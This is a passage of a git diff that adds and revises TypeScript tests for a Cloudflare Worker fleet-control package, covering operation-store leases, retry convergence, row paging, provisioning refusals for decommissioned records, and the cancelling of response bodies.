FleetRecord = { + tenantTag: 'canonical', + backend: 'plain-worker', + environment: 'production', + scriptName: 'canonical-worker', + databaseId: 'db-canonical', + databaseName: 'database-canonical', + schemaVersion: 1, + artifactVersion: 'v1', + desiredSpecDigest: 'a'.repeat(64), + durableObjectBindings: [ + { name: 'RUNNER', className: 'Runner', namespaceId: 'ns-canonical' }, + ], + routeHostname: 'canonical.example.test', + phase: 'ready', + updatedAt: NOW, + }; + const stored: FleetOperationStagedRow = { + rowKind: 'record', + ordinal: 0, + payload: { ...record }, + }; + const reordered = { + ...stored, + payload: Object.fromEntries(Object.entries(record).reverse()), + }; + expect(JSON.stringify(stored.payload)).not.toBe( + JSON.stringify(reordered.payload), + ); + const auditInitial = { + ...initial, + kind: 'audit' as const, + progress: { kind: 'audit' as const, revision: 0 }, + }; + const auditIntended = { + ...auditInitial, + progress: { ...auditInitial.progress, revision: 1 }, + }; + const store = new FakeOperationStore(); + store.operations.set(operationId, auditInitial); + store.rows.set(`${operationId}:record`, [stored]); + await store.withAccountOperationLease('audit', async (lease) => { + const input = { + operationId, + expectedRevision: 0, + runRecord: auditIntended, + rows: [reordered], + expectedRowWatermarks: { record: 1 }, + }; + const error = await lease + .commitProgress({ + ...input, + rows: [ + { ...stored, ordinal: 1 }, + { ...stored, payload: { ...stored.payload, tenantTag: 'other' } }, + ], + }) + .catch((error: unknown) => error); + expect(store.operations.get(operationId)).toEqual(auditInitial); + expect(store.rows.get(`${operationId}:record`)).toEqual([stored]); + expect(error).toBeInstanceOf(Error); + for (let retry = 0; retry < 2; retry += 1) { + expect(await lease.commitProgress(input)).toEqual(auditIntended); + expect(store.operations.get(operationId)).toEqual(auditIntended); + expect(store.rows.get(`${operationId}:record`)).toEqual([stored]); + expect(JSON.stringify(store.rows.get(`${operationId}:record`))).toBe( + JSON.stringify([stored]), + ); + } + }); + }); + + it('refuses multiple failure updates before changing rows or releasing the head', async () => { + const secondRow = { + ...row, + ordinal: 1, + payload: { ...row.payload, ordinal: 1 }, + }; + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.heads.set('migration', operationId); + store.rows.set(`${operationId}:item`, [row, secondRow]); + await store.withAccountOperationLease('migration', async (lease) => { + let error: unknown; + try { + await lease.failOperation({ + operationId, + expectedRevision: 0, + runRecord: { ...intended, state: 'failed' }, + updateRows: [row, secondRow].map((item) => ({ + ...item, + payload: { ...item.payload, status: 'failed' }, + })), + }); + } catch (caught) { + error = caught; + } + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.get(`${operationId}:item`)).toEqual([row, secondRow]); + expect(store.heads.get('migration')).toBe(operationId); + expect(error).toBeInstanceOf(Error); + expect(error).toHaveProperty( + 'message', + FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE, + ); + }); + }); +}); diff --git a/packages/fleet-control/test/fleet-operation-store.test.ts b/packages/fleet-control/test/fleet-operation-store.test.ts index 3cf5e1ce..c5bdf4a2 100644 --- a/packages/fleet-control/test/fleet-operation-store.test.ts +++ b/packages/fleet-control/test/fleet-operation-store.test.ts @@ -12,6 +12,7 @@ import type { import type { FleetMigrationProgress } from '../src/fleet-migration-state.js'; import { classifyFleetOperationToken, + FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE, type FleetOperationKind, type FleetOperationLease, type FleetOperationRowKind, @@ -19,6 +20,7 @@ import { type FleetOperationStagedRow, FleetOperationStoreCapabilityError, fleetOperationOtherKindMessage, + fleetOperationWatermarkRunMessage, } from '../src/fleet-operation-state.js'; import type { FleetStateDatabase } from '../src/state-store.js'; @@ -58,6 +60,13 @@ class MemoryD1 implements FleetStateDatabase { hideBatchResults = false; /** Makes the next committed batch throw as if its response were lost. */ failNextBatchAfterCommit = false; + /** + * Leaves the next batch's last statement unapplied and answers it with no + * rows, as a lease that expires mid-batch does to the statements behind it. + */ + refuseNextBatchTrailingStatement = false; + /** Runs once after the next batch commits, for a row that vanishes under a call. */ + afterNextBatch: (() => void) | undefined; async query( sql: string, @@ -81,10 +90,13 @@ class MemoryD1 implements FleetStateDatabase { ...statements.map(({ bindings = [] }) => bindings.length), ); if (statements.length === 0) return []; + const refuseTrailing = this.refuseNextBatchTrailingStatement; + this.refuseNextBatchTrailingStatement = false; + const applied = refuseTrailing ? statements.slice(0, -1) : statements; const results: Readonly>[][] = []; this.sqlite.exec('BEGIN IMMEDIATE'); try { - for (const { sql, bindings = [] } of statements) { + for (const { sql, bindings = [] } of applied) { results.push(this.sqlite.prepare(sql).all(...bindings)); } this.sqlite.exec('COMMIT'); @@ -92,6 +104,12 @@ class MemoryD1 implements FleetStateDatabase { this.sqlite.exec('ROLLBACK'); throw error; } + if (refuseTrailing) results.push([]); + const afterBatch = this.afterNextBatch; + if (afterBatch) { + this.afterNextBatch = undefined; + afterBatch(); + } if (this.failNextBatchAfterCommit) { this.failNextBatchAfterCommit = false; throw new Error('committed batch response lost'); @@ -951,6 +969,54 @@ describe('D1FleetOperationStore', () => { expect(result.progress.revision).toBe(1); }); + it('rows landed by a mid-batch lease expiry recover only on a byte-identical retry', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { + const created = await start(lease); + const transition = { + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record), + rows: [findingRow(0, 'payload A'), findingRow(1, 'payload B')], + }; + // The lease expires between the row inserts and the run-record update, + // so the rows land while the progress update matches nothing. + db.refuseNextBatchTrailingStatement = true; + expect((await rejection(lease.commitProgress(transition))).message).toBe( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + expect( + (await target.readOperationById(OPERATION_ID))?.progress.revision, + ).toBe(0); + expect( + (await readRows(target, 'finding')).map((row) => row.payload.detail), + ).toEqual(['payload A', 'payload B']); + // A retry that rebuilds ordinal 1 from different bytes cannot land over + // the row already staged under that ordinal, and takes nothing with it. + await expect( + lease.commitProgress({ + ...transition, + rows: [findingRow(0, 'payload A'), findingRow(1, 'payload C')], + }), + ).rejects.toThrow(); + expect( + (await readRows(target, 'finding')).map((row) => row.payload.detail), + ).toEqual(['payload A', 'payload B']); + expect( + (await target.readOperationById(OPERATION_ID))?.progress.revision, + ).toBe(0); + // The retry that reproduces every per-ordinal payload converges over the + // landed rows and completes the transition they were staged for. + expect((await lease.commitProgress(transition)).progress.revision).toBe( + 1, + ); + }); + expect( + (await readRows(target, 'finding')).map((row) => row.payload.detail), + ).toEqual(['payload A', 'payload B']); + }); + it('corruption on divergent replay', async () => { const db = new MemoryD1(); const error = await store(db).withAccountOperationLease( @@ -1109,7 +1175,7 @@ describe('D1FleetOperationStore', () => { }), ); expect(refused.message).toBe( - 'commitProgress finding rows below the watermark must be the contiguous run ending at it', + fleetOperationWatermarkRunMessage('finding'), ); expect(db.batchSizes.slice(batchMark)).toEqual([]); }); @@ -1646,7 +1712,7 @@ describe('D1FleetOperationStore', () => { return rejected; }, ); - expect(error.message).toBe('failOperation accepts at most one updateRow'); + expect(error.message).toBe(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE); expect((await target.readOperationById(OPERATION_ID))?.state).toBe( 'running', ); @@ -1655,6 +1721,44 @@ describe('D1FleetOperationStore', () => { ).toBe(0); }); + it('failOperation reports a vanished update target as a conflict, as convergence does', async () => { + const db = new MemoryD1(); + const target = store(db); + const error = await target.withAccountOperationLease( + 'migration', + async (lease) => { + const created = await start(lease, 'migration'); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [itemRow('pending')], + }); + // The item row is deleted between the failure batch and the readback + // that verifies it, the one window in which the readback finds the + // target gone. + db.afterNextBatch = () => { + db.sqlite + .prepare( + `DELETE FROM anchorage_fleet_operation_rows + WHERE row_kind = 'item' AND ordinal = 0`, + ) + .all(); + }; + return rejection( + lease.failOperation({ + operationId: OPERATION_ID, + expectedRevision: 0, + runRecord: advanced(created.record, 'failed'), + updateRows: [itemRow('failed')], + }), + ); + }, + ); + expect(error.message).toBe( + `fleet operation '${OPERATION_ID}' is no longer at the expected revision`, + ); + }); + it('terminal transitions advance the revision (stale-token discriminator)', async () => { const db = new MemoryD1(); const target = store(db); @@ -1773,22 +1877,22 @@ describe('D1FleetOperationStore', () => { rows: [findingRow(2), findingRow(0), findingRow(1)], }); }); - await expect( - target.readOperationRowsPage({ - operationId: OPERATION_ID, - rowKind: 'finding', - limit: 0, - }), - ).rejects.toThrow('limit must be an integer from 1 to 1000'); - for (const limit of [1001, 1.5]) { + for (const limit of [0, 1.5]) { await expect( target.readOperationRowsPage({ operationId: OPERATION_ID, rowKind: 'finding', limit, }), - ).rejects.toThrow('limit must be an integer from 1 to 1000'); + ).rejects.toThrow('limit must be an integer of at least 1'); } + await expect( + target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 1001, + }), + ).resolves.toMatchObject({ done: true }); await expect( target.readOperationRowsPage({ operationId: OPERATION_ID, @@ -1839,6 +1943,55 @@ describe('D1FleetOperationStore', () => { ).rejects.toThrow('fleet operation state is malformed'); }); + it('readOperationRowsPage serves the documented 1,000-row page and clamps a larger limit to it', async () => { + const db = new MemoryD1(); + const target = store(db); + await target.withAccountOperationLease('audit', async (lease) => { + await start(lease); + await lease.stageRows({ + operationId: OPERATION_ID, + expectedRevision: 0, + rows: [findingRow(0)], + }); + }); + const insert = db.sqlite.prepare( + `INSERT INTO anchorage_fleet_operation_rows + (account_id, operation_id, row_kind, ordinal, payload) + VALUES (?, ?, 'finding', ?, ?)`, + ); + for (let ordinal = 1; ordinal <= 1_000; ordinal += 1) { + insert.all( + 'account-primary', + OPERATION_ID, + ordinal, + JSON.stringify(findingRow(ordinal).payload), + ); + } + const full = await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 1_000, + }); + expect(full.rows).toHaveLength(1_000); + expect(full.rows.at(-1)?.ordinal).toBe(999); + expect(full.done).toBe(false); + const clamped = await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + limit: 5_000, + }); + expect(clamped.rows).toHaveLength(1_000); + expect(clamped.done).toBe(false); + const rest = await target.readOperationRowsPage({ + operationId: OPERATION_ID, + rowKind: 'finding', + afterOrdinal: 999, + limit: 5_000, + }); + expect(rest.rows.map((row) => row.ordinal)).toEqual([1_000]); + expect(rest.done).toBe(true); + }); + it('prune protects the active and the latest finalized operation per kind', async () => { const db = new MemoryD1(); const inventory = new FakeInventoryStore(); diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts index 608234fc..35eabcc6 100644 --- a/packages/fleet-control/test/fleet.test.ts +++ b/packages/fleet-control/test/fleet.test.ts @@ -2602,11 +2602,25 @@ describe('fleet operations', () => { expect(findings.map(({ kind }) => kind)).toContain( 'incomplete-provisioning', ); + }); - // A terminal row is retained state, not a phase that advances. + it('reports no incomplete provisioning for a retained terminal record', async () => { + const base = record('acme'); + // A terminal row is retained state, not a phase that advances, so ageing + // past staleAfterMs is retention rather than stalled provisioning. const retired: FleetRecord = { ...base, phase: 'decommissioned' }; - const retiredFindings = await audit([retired]); - expect(retiredFindings.map(({ kind }) => kind)).not.toContain( + const backend = new FleetBackend(); + const findings = await auditFleetDrift({ + store: storeFor([retired]), + records: [retired], + inventory: inventoryFor([base]), + backendFor: () => backend, + specFor: (item) => spec(item), + maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001', + staleAfterMs: 1_000, + now: 10_000, + }); + expect(findings.map(({ kind }) => kind)).not.toContain( 'incomplete-provisioning', ); }); diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index db8a50fa..c3a61363 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -626,9 +626,8 @@ describe('reconciled transient provisioning failures', () => { it.each([ ['429', () => providerFailure(429)], ['timeout', () => new APIConnectionTimeoutError()], - ])('classifies a %s failure as transient but never as absence', (_label, create) => { + ])('classifies raw and sanitized %s failures as absence=false', (_label, create) => { const error = create(); - expect(isTransientProviderError(error)).toBe(true); expect(isNotFound(error)).toBe(false); expect(isNotFound(sanitizeProviderError(error, []))).toBe(false); }); @@ -1022,6 +1021,14 @@ describe('maintenance route readiness', () => { }, }), ], + [ + 'Worker 302', + () => + new Response(null, { + status: 302, + headers: { location: 'https://redirected.invalid/elsewhere' }, + }), + ], ] as const)(`passes a %s through ${operation} without retrying`, async (_label, response) => { const api = new PlainWorkerProvisioningApiFake(); deployedCandidate(api); @@ -1034,6 +1041,26 @@ describe('maintenance route readiness', () => { expect(request).toHaveBeenCalledTimes(1); }); + it(`cancels the body of a refused ${operation} maintenance response`, async () => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const cancelled = vi.fn(); + const request = vi.fn( + async () => + new Response(new ReadableStream({ cancel: cancelled }), { + status: 302, + headers: { location: 'https://redirected.invalid/elsewhere' }, + }), + ); + + await expect( + invoke(backend(api, { fetch: request }), api), + ).rejects.toThrow('maintenance request failed with HTTP 302'); + + expect(request).toHaveBeenCalledTimes(1); + expect(cancelled).toHaveBeenCalledTimes(1); + }); + it(`names the route wait when an ${operation} retry times out at the deadline`, async () => { vi.useFakeTimers(); try { diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 74bbd324..4c30be9c 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -50,6 +50,7 @@ import type { ApplicationR2BucketSnapshot, ApplicationR2Resource, BackendSwitchIntent, + BackendSwitchSubphase, CleanupTerminalReceipt, DatabaseExport, DatabaseExportReceiptIdentity, @@ -1275,6 +1276,50 @@ async function boundedDecommissionHarness( }; } +// A backend-switch record over a terminal row, carrying the export the row +// records and no retained application resource. Only `subphase` varies, so a +// refusal a test observes is the subphase's and nothing else's. +function terminalBackendSwitchIntent( + terminal: FleetRecord, + backend: FakeBackend, + deployment: DeploymentSpec, + subphase: BackendSwitchSubphase, +): BackendSwitchIntent { + return { + kind: 'backend-switch', + tenantTag: terminal.tenantTag, + environment: terminal.environment, + prior: { + scriptName: terminal.scriptName, + artifactVersion: terminal.artifactVersion, + specDigest: terminal.desiredSpecDigest, + databaseId: terminal.databaseId, + databaseName: terminal.databaseName, + durableObjectBindings: [], + namespaceIds: [], + secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], + applicationResources: [], + customDomain: { id: 'domain-acme', hostname: terminal.routeHostname }, + }, + targetSpecDigest: terminal.desiredSpecDigest, + targetApplication: terminal.applicationBindings ?? { + vars: [], + secrets: [], + r2Buckets: [], + }, + target: backend.describeExternalPlatformTarget(deployment), + rollbackUntil: '2026-09-30T00:00:00.000Z', + subphase, + databaseExport: { + databaseId: terminal.databaseId, + location: terminal.databaseExportLocation as string, + sha256: terminal.databaseExportSha256 as string, + size: terminal.databaseExportSize as number, + }, + applicationR2Progress: [], + }; +} + function boundedAdvanceOptions( harness: BoundedDecommissionHarness, action: AdvanceDecommissionDeploymentOptions['action'], @@ -4687,7 +4732,7 @@ describe('fleet provisioning', () => { }); }); - it('provisions a retired terminal record as an absent prior and carries nothing forward', async () => { + it('provisions a retired terminal record as an absent prior and starts a fresh database reservation', async () => { const harness = await boundedDecommissionHarness({ r2Names: ['ARTIFACTS'], }); @@ -4756,7 +4801,7 @@ describe('fleet provisioning', () => { expect(store.record).toEqual(before); }); - it('keeps the generic phase refusal for every other non-resumable phase', async () => { + it('keeps the generic phase refusal for non-resumable teardown phases', async () => { for (const phase of [ 'worker-deleted', 'database-exported', @@ -4787,6 +4832,30 @@ describe('fleet provisioning', () => { } }); + it('refuses a prior record carrying a catalog mode its backend cannot hold', async () => { + const harness = await boundedDecommissionHarness(); + harness.store.record = { + ...(harness.store.record as FleetRecord), + wfpMode: 'platform-catalog', + }; + const before = structuredClone(harness.store.record) as FleetRecord; + harness.backend.events.length = 0; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend: harness.backend, + store: harness.store, + spec: harness.deployment, + secrets, + }), + ).rejects.toThrow( + "deployment 'acme:production' already exists with a different immutable resource mapping", + ); + expect(harness.store.record).toEqual(before); + expect(harness.backend.events).toEqual([]); + }); + it('refuses a terminal record that still retains an application resource', async () => { const harness = await boundedDecommissionHarness({ r2Names: ['ARTIFACTS'], @@ -4802,6 +4871,8 @@ describe('fleet provisioning', () => { (resource) => ({ ...resource, state: 'created' as const }), ), }; + const [retainedResource] = terminal.applicationResources ?? []; + if (!retainedResource) throw new Error('missing retained R2 resource'); const before = structuredClone(store.record) as FleetRecord; backend.events.length = 0; @@ -4814,7 +4885,7 @@ describe('fleet provisioning', () => { secrets, }), ).rejects.toThrow( - /has a decommissioned record with retained application R2 resources 'ARTIFACTS'; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/, + `has a decommissioned record with retained application R2 resources '${retainedResource.bucketName}' (binding 'ARTIFACTS'); confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment()`, ); expect(store.record).toEqual(before); expect(backend.events).toEqual([]); @@ -4829,9 +4900,12 @@ describe('fleet provisioning', () => { const before = structuredClone(store.record) as FleetRecord; expect(before.databaseExportLocation).toBeDefined(); - // The fixture idiom for foreign physical residue under the reserved name. + // The fixture idiom for foreign physical residue under the reserved name: + // a database answering to that name under an ID the retired row never + // held. backend.databaseExists = true; backend.databaseOwner = undefined; + backend.databaseId = 'db-foreign-resurrection'; const failure = await provisionDeployment({ initialExecutionFenceState: 'open', @@ -4842,9 +4916,16 @@ describe('fleet provisioning', () => { }).catch((error: unknown) => error); expect(failure).toBeInstanceOf(ProvisioningError); - expect((failure as Error).cause).toMatchObject({ - message: expect.stringMatching(/refusing to claim pre-existing database/), - }); + const cause = (failure as Error).cause as Error; + expect(cause.message).toContain( + `refusing to claim pre-existing database 'db-foreign-resurrection:${harness.deployment.databaseName}' for reserved name '${harness.deployment.databaseName}'`, + ); + // Both IDs in one message: the operator reads the retired deployment's own + // resurrected database apart from a foreign one under the same name. + expect(cause.message).toContain( + `the retired terminal record held database '${before.databaseId}'`, + ); + expect(before.databaseId).not.toBe('db-foreign-resurrection'); expect(store.record).toEqual(before); }); @@ -4884,42 +4965,57 @@ describe('fleet provisioning', () => { decommissionDeployment({ backend, store, spec: harness.deployment }), ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); const terminal = store.record as FleetRecord; + // A switch that reached `decommissioned` committed the export the terminal + // row records and released the application resources it tracked; the + // package reads a backend-switch terminal row against that evidence. + const switchIntent: BackendSwitchIntent = terminalBackendSwitchIntent( + terminal, + backend, + harness.deployment, + 'decommissioned', + ); + store.record = { ...terminal, backendSwitchIntent: switchIntent }; + backend.events.length = 0; + + const result = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }); + + expect(result.record.phase).toBe('ready'); + expect(result.record.backendSwitchIntent).toBeUndefined(); + expect(backend.events[0]).toBe('database'); + }); + + it('provisions over a terminal record a legacy switch teardown retired', async () => { + const harness = await boundedDecommissionHarness({ + r2Names: ['ARTIFACTS'], + }); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const terminal = store.record as FleetRecord; + const tornDown = terminal.applicationResources ?? []; + expect(tornDown.map((resource) => resource.state)).toEqual(['deleted']); + // The record a completed legacy switch teardown leaves: the + // `applicationR2Progress` deletions it persists, and the top-level + // `applicationResources` they project into. `backend-switch.test.ts` pins + // that write; this pins the reading admission gives it. const switchIntent: BackendSwitchIntent = { - kind: 'backend-switch', - tenantTag: terminal.tenantTag, - environment: terminal.environment, - prior: { - scriptName: terminal.scriptName, - artifactVersion: terminal.artifactVersion, - specDigest: terminal.desiredSpecDigest, - databaseId: terminal.databaseId, - databaseName: terminal.databaseName, - durableObjectBindings: [], - namespaceIds: [], - secretNames: ['DEPLOYMENT_IDENTITY_SECRET'], - applicationResources: [], - customDomain: { id: 'domain-acme', hostname: terminal.routeHostname }, - }, - targetSpecDigest: terminal.desiredSpecDigest, - targetApplication: terminal.applicationBindings ?? { - vars: [], - secrets: [], - r2Buckets: [], - }, - target: backend.describeExternalPlatformTarget(harness.deployment), - rollbackUntil: '2026-09-30T00:00:00.000Z', - subphase: 'decommissioned', - // A switch that reached `decommissioned` committed the export the - // terminal row records and released the application resources it - // tracked; the package reads a backend-switch terminal row against that - // evidence. - databaseExport: { - databaseId: terminal.databaseId, - location: terminal.databaseExportLocation as string, - sha256: terminal.databaseExportSha256 as string, - size: terminal.databaseExportSize as number, - }, - applicationR2Progress: [], + ...terminalBackendSwitchIntent( + terminal, + backend, + harness.deployment, + 'decommissioned', + ), + applicationR2Progress: tornDown.map((resource) => ({ + resource, + subphase: resource.state, + })), }; store.record = { ...terminal, backendSwitchIntent: switchIntent }; backend.events.length = 0; @@ -4934,7 +5030,104 @@ describe('fleet provisioning', () => { expect(result.record.phase).toBe('ready'); expect(result.record.backendSwitchIntent).toBeUndefined(); - expect(backend.events[0]).toBe('database'); + }); + + it('refuses a terminal record whose backend switch finalized', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const terminal = store.record as FleetRecord; + store.record = { + ...terminal, + backendSwitchIntent: terminalBackendSwitchIntent( + terminal, + backend, + harness.deployment, + 'finalized', + ), + }; + const before = structuredClone(store.record) as FleetRecord; + backend.events.length = 0; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }), + ).rejects.toThrow( + /has a decommissioned record with a backend-switch record in subphase 'finalized'; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/, + ); + expect(store.record).toEqual(before); + expect(backend.events).toEqual([]); + }); + + it('refuses a terminal record whose backend switch rolled back', async () => { + const harness = await boundedDecommissionHarness(); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const terminal = store.record as FleetRecord; + store.record = { + ...terminal, + backendSwitchIntent: terminalBackendSwitchIntent( + terminal, + backend, + harness.deployment, + 'rolled-back', + ), + }; + const before = structuredClone(store.record) as FleetRecord; + backend.events.length = 0; + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: harness.deployment, + secrets, + }), + ).rejects.toThrow( + /has a decommissioned record with a backend-switch record in subphase 'rolled-back'; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/, + ); + expect(store.record).toEqual(before); + expect(backend.events).toEqual([]); + }); + + it('refuses a retired terminal record reserved in another deployment mode', async () => { + const harness = await boundedDecommissionHarness({ + kind: 'workers-for-platforms', + }); + const { backend, store } = harness; + await expect( + decommissionDeployment({ backend, store, spec: harness.deployment }), + ).resolves.toMatchObject({ record: { phase: 'decommissioned' } }); + const terminal = store.record as FleetRecord; + expect(terminal.wfpMode).toBe('platform-catalog'); + const before = structuredClone(terminal) as FleetRecord; + // The same slug and specification, reserved on a backend whose record + // carries no catalog mode. + const plainBackend = new R2RollbackBackend('plain-worker'); + + await expect( + provisionDeployment({ + initialExecutionFenceState: 'open', + backend: plainBackend, + store, + spec: harness.deployment, + secrets, + }), + ).rejects.toThrow( + /has a retired terminal record in deployment mode 'platform-catalog' and this specification reserves 'unmarked'; an established catalog mode cannot change, so clear the record with forceDecommissionDeployment\(\)/, + ); + expect(store.record).toEqual(before); + expect(plainBackend.events).toEqual([]); }); it('decommissions the replacement when a same-spec decommission follows a re-provision', async () => { diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index 8c9db8fb..0f1157d5 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -250,6 +250,14 @@ function multisetEvidence(leaves: readonly (readonly unknown[])[]): string { const D1_TARGET = { kind: 'd1', databaseId: 'target-db' } as const; const R2_TARGET = { kind: 'r2', bucketName: 'target-bucket' } as const; +const DISPATCH_PAGE_PATH = '/namespaces/fleet/scripts'; + +function dispatchPageWorld(): AttachmentWorld { + return { + ordinary: [], + namespaces: [{ name: 'fleet', pages: [{ scripts: [] }] }], + }; +} describe('Cloudflare Worker attachment scan', () => { describe.each([ @@ -738,15 +746,6 @@ describe('Cloudflare Worker attachment scan', () => { expect(ceilingAttempts).toBe(CLOUDFLARE_SDK_MAX_ATTEMPTS); }); - const DISPATCH_PAGE_PATH = '/namespaces/fleet/scripts'; - - function dispatchPageWorld(): AttachmentWorld { - return { - ordinary: [], - namespaces: [{ name: 'fleet', pages: [{ scripts: [] }] }], - }; - } - it('sends the raw dispatch script page request with manual redirect handling', async () => { const handler = worldHandler(dispatchPageWorld()); const observed: RequestInit['redirect'][] = []; @@ -792,6 +791,51 @@ describe('Cloudflare Worker attachment scan', () => { ).toHaveLength(1); }); + it('cancels the body of a retried raw dispatch script page', async () => { + const cancelled = vi.fn(); + const handler = worldHandler(dispatchPageWorld()); + let attempts = 0; + const fixture = recordingFetch((request) => { + if (!new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH)) { + return handler(request); + } + attempts += 1; + return attempts === 1 + ? new Response(new ReadableStream({ cancel: cancelled }), { + status: 503, + headers: { 'retry-after-ms': '1' }, + }) + : handler(request); + }); + + const result = await drain(client(fixture.fetch), D1_TARGET); + + expect(result.terminal.status).toBe('complete'); + expect(attempts).toBe(2); + expect(cancelled).toHaveBeenCalledTimes(1); + }); + + it('cancels the body of a refused raw dispatch script page', async () => { + const cancelled = vi.fn(); + const handler = worldHandler(dispatchPageWorld()); + const fixture = recordingFetch((request) => + new URL(request.url).pathname.endsWith(DISPATCH_PAGE_PATH) + ? new Response(new ReadableStream({ cancel: cancelled }), { + status: 400, + }) + : handler(request), + ); + + const failure = await drain(client(fixture.fetch), D1_TARGET).catch( + (error: unknown) => error, + ); + + expect(failure).toMatchObject({ + message: 'Cloudflare dispatch script listing failed with status 400', + }); + expect(cancelled).toHaveBeenCalledTimes(1); + }); + it('surfaces an SDK-routed redirect as a non-retried, non-transient status', async () => { let listings = 0; const fixture = recordingFetch(({ url }) => { diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index af441e08..56438696 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -3848,6 +3848,9 @@ describe('WorkersForPlatformsBackend', () => { const cancelled = vi.fn(); const redirected: typeof fetch = async (input, init) => { const attested = await attestedHealthResponse(input, init); + expect(attested.headers.get(MAINTENANCE_RECEIPT_HEADER)).toEqual( + expect.any(String), + ); void attested.body?.cancel(); return new Response(new ReadableStream({ cancel: cancelled }), { status: 302, @@ -3882,6 +3885,61 @@ describe('WorkersForPlatformsBackend', () => { expect(cancelled).toHaveBeenCalledTimes(1); }); + it.each([ + 'ensureMaintenance', + 'inspect', + ] as const)('cancels the unread %s maintenance response body', async (operation) => { + const cancelled = vi.fn(); + const streamed: typeof fetch = async (input, init) => { + const attested = await attestedHealthResponse(input, init); + void attested.body?.cancel(); + return new Response(new ReadableStream({ cancel: cancelled }), { + headers: attested.headers, + }); + }; + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: new FakeApi(), + fetch: streamed, + hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), + }); + + await (operation === 'ensureMaintenance' + ? backend.ensureMaintenance( + deployment, + secrets.maintenanceAdmin, + fence, + 'etag-v1', + ) + : backend.inspect(deployment, secrets.maintenanceAdmin)); + + expect(cancelled).toHaveBeenCalledTimes(1); + }); + + it('cancels the maintenance response body when no receipt attests it', async () => { + const cancelled = vi.fn(); + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: new FakeApi(), + fetch: async () => + new Response(new ReadableStream({ cancel: cancelled })), + hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), + }); + + await expect( + backend.ensureMaintenance( + deployment, + secrets.maintenanceAdmin, + fence, + 'etag-v1', + ), + ).rejects.toThrow(/did not attest fleet specification digest/); + + expect(cancelled).toHaveBeenCalledTimes(1); + }); + it('uses only the signed trusted result when candidate response body is forged', async () => { const backend = new WorkersForPlatformsBackend({ namespacedState: NAMESPACED_STATE, diff --git a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts index f5f57dfc..aa50ffd6 100644 --- a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts @@ -658,7 +658,7 @@ describe('WranglerLoopBackend provisioning port contract', () => { }); }); - it('refuses a matching D1 list row whose uuid is empty', async () => { + it('refuses a D1 list row whose uuid is empty', async () => { const runner = new FakeRunner(async () => ({ stdout: JSON.stringify([{ uuid: '', name: spec.databaseName }]), stderr: '', diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index 7a0b893e..e61e511d 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -111,7 +111,9 @@ class FakeRunner implements CommandRunner { readonly #handler: RunnerHandler; constructor( - handler: RunnerHandler = async () => ({ stdout: '', stderr: '' }), + handler: RunnerHandler = async (arguments_) => { + throw new Error(`unstubbed wrangler argv: ${arguments_.join(' ')}`); 